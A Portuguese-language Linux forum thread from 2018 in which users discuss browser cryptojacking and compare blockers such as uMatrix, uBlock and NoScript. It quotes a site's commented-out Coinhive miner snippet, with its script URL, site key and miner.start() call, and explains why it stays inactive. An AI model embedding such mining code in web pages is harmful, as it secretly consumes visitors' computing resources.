Sites que usam seu computador para minerar

25. Re: Sites que usam seu computador para minerar

Mauriciodez
Mauriciodez

(usa Debian)

Enviado em 30/01/2018 - 17:22h

Skol escreveu:

Estou usando Utrax há alguns meses, fiz um teste recentemente com ele e o adblock. Tentei acessar um script minerador e o adblock deixou passar mas o Utrax bloqueou tranquilo. Quem quiser pode testar com o script abaixo:

coin-hive.com/lib/coinhive.min.js

Acho que o Utrax funciona bem.


o Ublock travou >>> http://ap.imagensbrasil.org/image/diWEKP



------------------------------------------| Linux User #621728 |-----------------------------------------

" Nem sempre é amigo aquele que te tira do buraco !!! ( Saddam Hussein )"

------------------------------------------| Linux User #621728 |-----------------------------------------



  


26. Re: Sites que usam seu computador para minerar

Gustavo Paulino
Skol

(usa Linux Mint)

Enviado em 30/01/2018 - 17:32h

Mauriciodez escreveu:

Skol escreveu:

Estou usando UMatrix há alguns meses, fiz um teste recentemente com ele e o adblock. Tentei acessar um script minerador e o adblock deixou passar mas o Utrax bloqueou tranquilo. Quem quiser pode testar com o script abaixo:

coin-hive.com/lib/coinhive.min.js

Acho que o UMatrix funciona bem.


o Ublock travou >>> http://ap.imagensbrasil.org/image/diWEKP



------------------------------------------| Linux User #621728 |-----------------------------------------

" Nem sempre é amigo aquele que te tira do buraco !!! ( Saddam Hussein )"

------------------------------------------| Linux User #621728 |-----------------------------------------


No meu o Ublock não bloqueou, deixou acessar de boa kkkkkk.




27. Re: Sites que usam seu computador para minerar

Perfil removido
removido

(usa Nenhuma)

Enviado em 30/01/2018 - 20:48h

Henrique - RJ escreveu:

meianoite escreveu:

Henrique - RJ escreveu:

Mauriciodez escreveu:

apesar de ter este script no site, nem o "No Script" nem o "No Coin" identificou !!!
Tb não notei nada diferente na máquina !!!



O Sophos no Windows detecta como adware ou PUA mas aqui no Linux não.



LIXO esse tal Sophos


Eu estou gostando do Sophos no Linux.

Só é chato quando se atualiza pondo o processador e o disco a 100% .

Confesso que é gratificante ver ele detectando uma ameaça e bloqueando a execução dela ao acessar um site de testes emitindo um alerta como este:

Tem o mesmo resultado usando o  Firefox 

https://s10.postimg.org/wz28epa2h/imagem9.png






28. Re: Sites que usam seu computador para minerar

Patrick
Freud_Tux

(usa Outra)

Enviado em 31/01/2018 - 22:29h

Mauriciodez escreveu:

zezaocapoeira escreveu:
Ai depende do jeito da configuração do minerador deles.

Se está configurado por tempo de visita no site, e ao atingir este tempo o minerador é ativado por alguns minutos e desativado posteriormente e fica nesse ciclo.

Agora tem lugares que o minerador é ligado direto ,no momento que carrega o site.

Obrigado pela atenção, salve!!!



entendi a dinâmica .. só não entendi pq nem o "No Script" nem o "No Coin" identifcou o script ... será q eles só identificam scripts ativos ???

------------------------------------------| Linux User #621728 |-----------------------------------------

" Nem sempre é amigo aquele que te tira do buraco !!! ( Saddam Hussein )"

------------------------------------------| Linux User #621728 |-----------------------------------------


Edita na unha ué!
Salva o arquivo de configuração do noscript (importar). Depois, basta abrir ele, salvar uma cópia de segurança e depois uma cópia que vá fazer a alteração. Procure na sessão untrusted e coloco os respectivos domínios que se queira bloquear lá. Exporte esse novo arquivo de configuração, e depois, verifique nos elementos bloqueados, que os dois dominios citados estão lá.
Ou visite os dois dominíos e os bloquei manualmente.

O lance é deixar o menor número possível de elementos ativos nas configurações. É como o HUgo Cerqueira comentou, se funciona sem liberar, pra que vai liberar?

T+

hrcerq escreveu:

Mauriciodez escreveu:

entendi a dinâmica .. só não entendi pq nem o "No Script" nem o "No Coin" identifcou o script ... será q eles só identificam scripts ativos ???



Observe o trecho do código-fonte do site em questão (http://www.radioguaiba.com.br/):


<!--
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('LEndSPCsw3pTXYfUQMvLfuj7QiBW6buH', 'john-doe', {threads: 2});
miner.start();
</script>
-->


Observe que o trecho do script de mineração está comentado. Comentários, como você bem deve saber, não são processados pelo navegador, portanto são o mesmo que nada. Se esse script fosse capturado como malware, seria, na verdade, um falso positivo.

---

Atenciosamente,
Hugo Cerqueira


Hugo!
Onde é que tá o comentário? Melhor ainda, quem é o comentário? Eu não manjo nada de html e afins hehehe. E o que eu sabia, esqueci a muuuiitttoooo tempo.

T+ e valeus

Skol escreveu:

Mauriciodez escreveu:

Skol escreveu:

Estou usando UMatrix há alguns meses, fiz um teste recentemente com ele e o adblock. Tentei acessar um script minerador e o adblock deixou passar mas o Utrax bloqueou tranquilo. Quem quiser pode testar com o script abaixo:

coin-hive.com/lib/coinhive.min.js

Acho que o UMatrix funciona bem.


o Ublock travou >>> http://ap.imagensbrasil.org/image/diWEKP


------------------------------------------| Linux User #621728 |-----------------------------------------

" Nem sempre é amigo aquele que te tira do buraco !!! ( Saddam Hussein )"

------------------------------------------| Linux User #621728 |-----------------------------------------


No meu o Ublock não bloqueou, deixou acessar de boa kkkkkk.



O Umatrix é excelente!
Depois que você pega o jeito, ele se torna indispensável. Recomendo o privacy badger também que pega scripts que queiram rodar em segundo plano na página.

O Ublock só vai parar esse script citado, se você usar o filtro Ublock... Abuse (foi citado na 1ª página desse tópico)

Bem, a minha pergunta, era sobre qualquer página que use o computador dos visitantes para minerar. Algumas avisam que vão usar sua máquina enquanto estiver visitanto o site, e até avisam quanto porcento dos recursos de hardware vão usar, e geralmente não passa de 30%. Mas tem outras em que são sacanas mesmo, e além de não avisarem, jogam o consumo dos recursos da sua máquina lá no espaço, tipo, 80% ou mais.
Isso está se tornando febre já...

T+
-------------------------------------------------------------------------------------------------------------------------------------------------
Noob: "[...]Sou muito noob ainda usando o terminal, então preciso de ajuda "mastigada", pra operá-lo."
zhushazang: "Sou velho e meus dentes desgastados. Estude linux www.guiafoca.org";


29. Re: Sites que usam seu computador para minerar

Mauriciodez
Mauriciodez

(usa Debian)

Enviado em 31/01/2018 - 22:52h

Freud_Tux escreveu:
<!--
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('LEndSPCsw3pTXYfUQMvLfuj7QiBW6buH', 'john-doe', {threads: 2});
miner.start();
</script>
-->

Hugo!
Onde é que tá o comentário? Melhor ainda, quem é o comentário? Eu não manjo nada de html e afins hehehe. E o que eu sabia, esqueci a muuuiitttoooo tempo.


<!-- ... Indica inicio do comentado
--> ... Indica fim do comentado

No caso o Script estava entre as tags, logo o script estava comentado.

------------------------------------------| Linux User #621728 |-----------------------------------------

" Nem sempre é amigo aquele que te tira do buraco !!! ( Saddam Hussein )"

------------------------------------------| Linux User #621728 |-----------------------------------------




01 02 03



Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts